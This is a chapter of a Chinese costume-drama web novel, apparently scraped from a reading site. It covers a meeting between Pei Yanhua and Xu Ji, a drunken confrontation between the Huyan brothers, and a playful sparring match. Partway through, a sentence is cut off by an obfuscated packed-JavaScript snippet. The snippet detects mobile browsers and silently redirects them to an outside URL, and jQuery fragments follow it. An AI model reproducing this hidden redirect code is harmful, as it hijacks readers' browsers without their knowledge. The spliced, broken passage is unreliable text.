47. 第四十七章 尴尬

作品:《美人攻上嫁病弱受后

    沉默半晌,裴晏华抬眼望向徐寂,皱眉道:“你找我究竟有什么事?”


    徐寂咳了几声,半晌后,才磨磨蹭蹭地从袖子里掏出一个东西,扔到了裴晏华面前。


    裴晏华低头望去,脸色一变。他伸出颤抖的手将早已面目全非的木雕拿了起来,问道:“你怎么会有这个?”


    “……当年我疑心病太重,裴卿书撤得太快,我把云地口翻了个遍,只找到了这个,总觉得里面会有线索,便一直留到了现在。”


    “你父亲刻的应当是你。”


    裴晏华盯着木雕看了半晌,摩挲着木雕,垂眼哑声道:“谢谢。”


    徐寂看着裴晏华的脸,有些不自在,道:“你和你爹长得还挺像,我看着就开始难受了。”


    “……你其实,并没有那么恨我爹吧?”


    裴晏华抬眼看向徐寂,徐寂感受到他的目光,眼神飘忽不定地朝四周看去。


    僵持半晌,徐寂终是移回目光,低头应了一声。


    “你爹,挺厉害的。”


    他这模样颇有些挫败,但却并没有不服气的意思,兴许是因为早已在不知不觉中被岁月磨平了棱角。


    裴晏华将木雕收回袖中,沉默半晌,忽地开了口:“我在我爹记的阵法图上,看到过你的名字。”


    徐寂闻声,怔了半晌,才问道:“什么?”


    “十七年前,你的龙虎阵险些让我爹丧命。”


    徐寂这下反应过来了,闷声笑了几声,“你爹年轻的时候倒还挺有意思,明明早就能撤退了,非要来挑衅我们,这我们能忍?”


    “啧……本以为那次能将他就地正法了,没想到还是让他想到法子逃了。”


    “我爹从来不打无准备之仗。”


    “确实,你爹总能在死地中找着退路。只可惜跟错了人。”


    徐寂的话音戛然而止,他喝了口水,才看向裴晏华道:“冒犯了。”


    裴晏华没说话,给自己倒了杯水。徐寂往椅背上一靠,喟叹一声,道:“你同那小子,究竟是真情,还是假意?”


    裴晏华反问他:“你觉得呢?”


    徐寂闷笑一声,“瞧着像真情,又像是假意。”


    “……”


    “罢了,多余的话我便不多说了,我想和你谈谈合作,关于宋衍。”


    “条件?”


    “条件?那等事成之后,就赏我黄金万两吧。”


    裴晏华有些意外,“我以为你会要些别的。”


    徐寂笑了一声,“要别的,你会给?”


    “……”


    “行了,我会想办法帮你和那小子的,还有事,先走了。”


    “你的胡子露边了。”


    徐寂脚步一顿,神色自若将胡子贴回去后,才背着手出了营帐。


    *


    夜晚。


    呼延烈低头摩挲着刀背,漫不经心问道:“还是不肯吃?”


    “……是。”


    呼延烈闻声,手上动作一顿。刀刃在烛光照耀下闪烁着银白的光,呼延烈反射性般闭上双眼,在原地坐着缓了半晌,才缓缓睁开双眼,道:“我知道了,回去吧。”


    脚步声逐渐远去。


    呼延烈将大刀搁在桌面上,望着营帐外出了神。


    天空挂着一轮弯月,他的右手边放着呼延云的头骨。里头正装着美酒,朝外散发着醉人的酒香。


    思绪攀上心头,呼延烈拿起酒杯,将杯中酒一饮而尽。


    酒喝了一杯又一杯,呼延烈将人头酒杯“啪”地一声放在桌上,扶着桌子跌跌撞撞地起了身。


    他的脸颊红得不成样子,随手抹去唇角的酒渍,便起身朝着营帐外走去。


    灯火未熄。


    呼延真靠在榻上,摩挲着手心的柔软皮毛。手腕和脚腕上都被枷锁硌出了红痕,隐藏在古铜色的皮肤里,似是新生的伤口。


    营帐外传来脚步声,呼延真闻声,头也不抬,冷声道:“滚出去!说了我不吃!”


    脚步声愈发急促,呼延真干脆翻了个身,背对着来人,一言不发。


    脚步声越来越近,呼延烈跌跌撞撞走到了榻前。


    他撑着床榻站了许久,才脱力般跪坐在地,小声唤道:“大哥。”


    呼延真身体一僵。


    兴许是因为借洒消愁愁更愁的缘故,呼延烈见呼延真不理他,心中愈发觉得委屈。他拽了着呼延真的衣袖,眼眶发红,唤道:“大哥,你理理我。”


    呼延真被他拽得不耐烦了,起身道:“滚。”


    四目相对,呼延烈怔怔看着呼延真。一滴泪从眼角滑落,呼延烈低下头,终于有些崩溃地哭了,“大哥,你不要怪我,不要怪我……”


    呼延真低头看了他一眼,又移开目光,淡淡道:“出去,我不想再说第三遍。”


    呼延烈有些彷徨地看着他,“大哥,你恨我,你是不是在恨我?”


    呼延真冷笑一声,“难不成我还应该对你感恩戴德吗?”


    呼延烈陡然失了力气,跌坐在地,面上表情万念俱灰。


    相顾无言,呼延烈抹了一把脸上的眼泪,缓缓起了身,低头看向呼延真,声音还带着鼻音:“呼延真,是你欠我的,明明是你欠我的!”


    “你不能恨我,你不能恨我!!!”


    呼延烈猛地将呼延真按在床榻上,掐着他的脖颈,表情痛苦又挣扎。


    他下不去手。


    呼延真目光灼灼看着他,嘲讽道:“来啊,掐死我啊,怎么不敢了?果然,有周人血脉的杂种,和周人一样软弱,懦夫!”


    呼延烈失声痛哭。


    眼泪淌到脖颈,呼延真干脆闭上双眼,将头侧到了一旁。


    沉重的呼吸声在耳畔响起,一滴又一滴泪似是红烛,被燃烧得痛苦不堪的是呼延烈自己,被烫得隐隐作痛的却是呼延真。


    呼延烈趴在他肩膀哭泣半晌,醉意来袭。他渐渐闭了双眼,倒在了呼延真身旁。


    呼延真往里缩了缩,眼神有些复杂。在原地躺了许久,他忍不住回头看了呼延烈一眼。


    他同他母亲生得极像。


    盯着他看了半晌,呼延真强迫自己收回目光,往营帐外打了个手势,便闭上双眼,一脚将呼延烈踹下了榻。


    *


    香浮花月。


    月光之下,谢云清眼神犀利,动作迅猛。秦越侧身躲过谢云清的攻击,一翻身将长枪换了个方向,直起身来,得意洋洋道:“谢师父,你输了。”


    谢云清动作一顿,不服气道:“下次就赢你。”


    秦越收回长枪,“切”道:“你下次也一样赢不了我,再回去练会儿吧。”


    谢云清怒了,道:“你给我等着!”


    裴晏华在一旁看得乐不可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252105|151559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    支,起身将谢云清拽了回来,给他顺了半会儿的毛,见他消气,才凑到他耳旁小声道:“先别走,我有办法。”


    秦越瞥他二人一眼,接过江秦递过来的水,奇怪道:“秦哥,他俩说啥呢?”


    江秦用怜悯的眼神看了秦越一眼,“小越,如果不出意外的话,你要出意外了。”


    “什——”


    “秦越,再来一局!”


    秦越的话还未说,谢云清便抱着手走到了他身旁,表情瞧起来嚣张极了。


    秦越将杯中的水一饮而尽,昂首挺胸道:“来就来,谁怕谁!”


    两人又打了起来。


    裴晏华坐在地上喝了口水,抬眼观察着战况。


    两人缠斗了一会儿,距离在不知不觉中拉近。谢云清看准时机,挡住秦越的长枪,趁他蓄力反击的时候,给了他一记滑铲。


    “哎哟——”


    秦越一时不备,被谢云清铲倒在地。长枪仍未脱手,秦越也顾不得屁股上的疼痛了,顺手将长枪劈下,在距离谢云清胸口的一小截距离停了手,揉着屁股龇牙咧嘴地起身,又痛又笑道:“谢师父,你又输了。”


    谢云清不情不愿道:“行吧,我认输。”


    说完,他走到秦越身旁,道:“你没事吧?”


    秦越回他:“你这招太损了,感觉我屁股都要被摔成两瓣了。”


    “……屁股不本来就是两瓣吗?”


    “哎哟,痛死我了,不行,我缓会儿。”


    两人对视一眼,谢云清反射性般伸出了手,反应过来之后又迅速抽回手,轻咳一声道:“好像不太合适。”


    秦越警惕地捂好了自己的屁股,道:“谢师父,你干嘛呢?这儿是你能碰的吗?”


    谢云清摸了摸鼻子,往后退了一步,嘴硬道:“我又没真摸。”


    秦越捂着屁股,也往后退了几步,道:“那你就是想摸了?”


    “我哪儿有!”


    江秦在原地笑得直不起腰来,裴晏华见状,脸一黑,起身将谢云清拽了回来,顺手抛给秦越一瓶药,道:“接着。”


    谢云清转头看了裴晏华一眼,幽怨道:“你这什么损招。”


    说完,他又看着秦越道:“要不我让长岩给你看一眼?”


    “不用了!”


    秦越接过药,越发感觉自己的屁股危险无比,便退到了江秦身旁。谢云清道了歉,得到秦越的谅解后,又同二人告了个别,才被裴晏华拽着后衣领离开了原地。


    看着两人远去的身影,凑到江秦身边,嘀咕道:“秦哥,谢师父怎么和他关系那么好,我天天教他练枪也没见他和我关系这么好啊。”


    江秦看了一眼,若有所思道:“兴许是他们认识得久吧,对了,小越,你是不是会编小伞,教我做做?”


    “哄小孩儿的玩意儿,秦哥,你学这做什么?”


    江秦轻咳一声,秦越察觉出异样,意味深长地“噢”了一声,揽着江秦的肩膀,道:“我知道了。”


    “咳,别说出去。”


    江秦眼神飘忽不定的,秦越见状,哈哈大笑几声,道:


    “当然!走吧,秦哥,我现在就教你做伞。”


    “行。”


    月光之下,欢声笑语逐渐散去,两人的影子越拉越长。


    途径转角时,江秦的影子逐渐被黑夜吞噬,消失在了原地。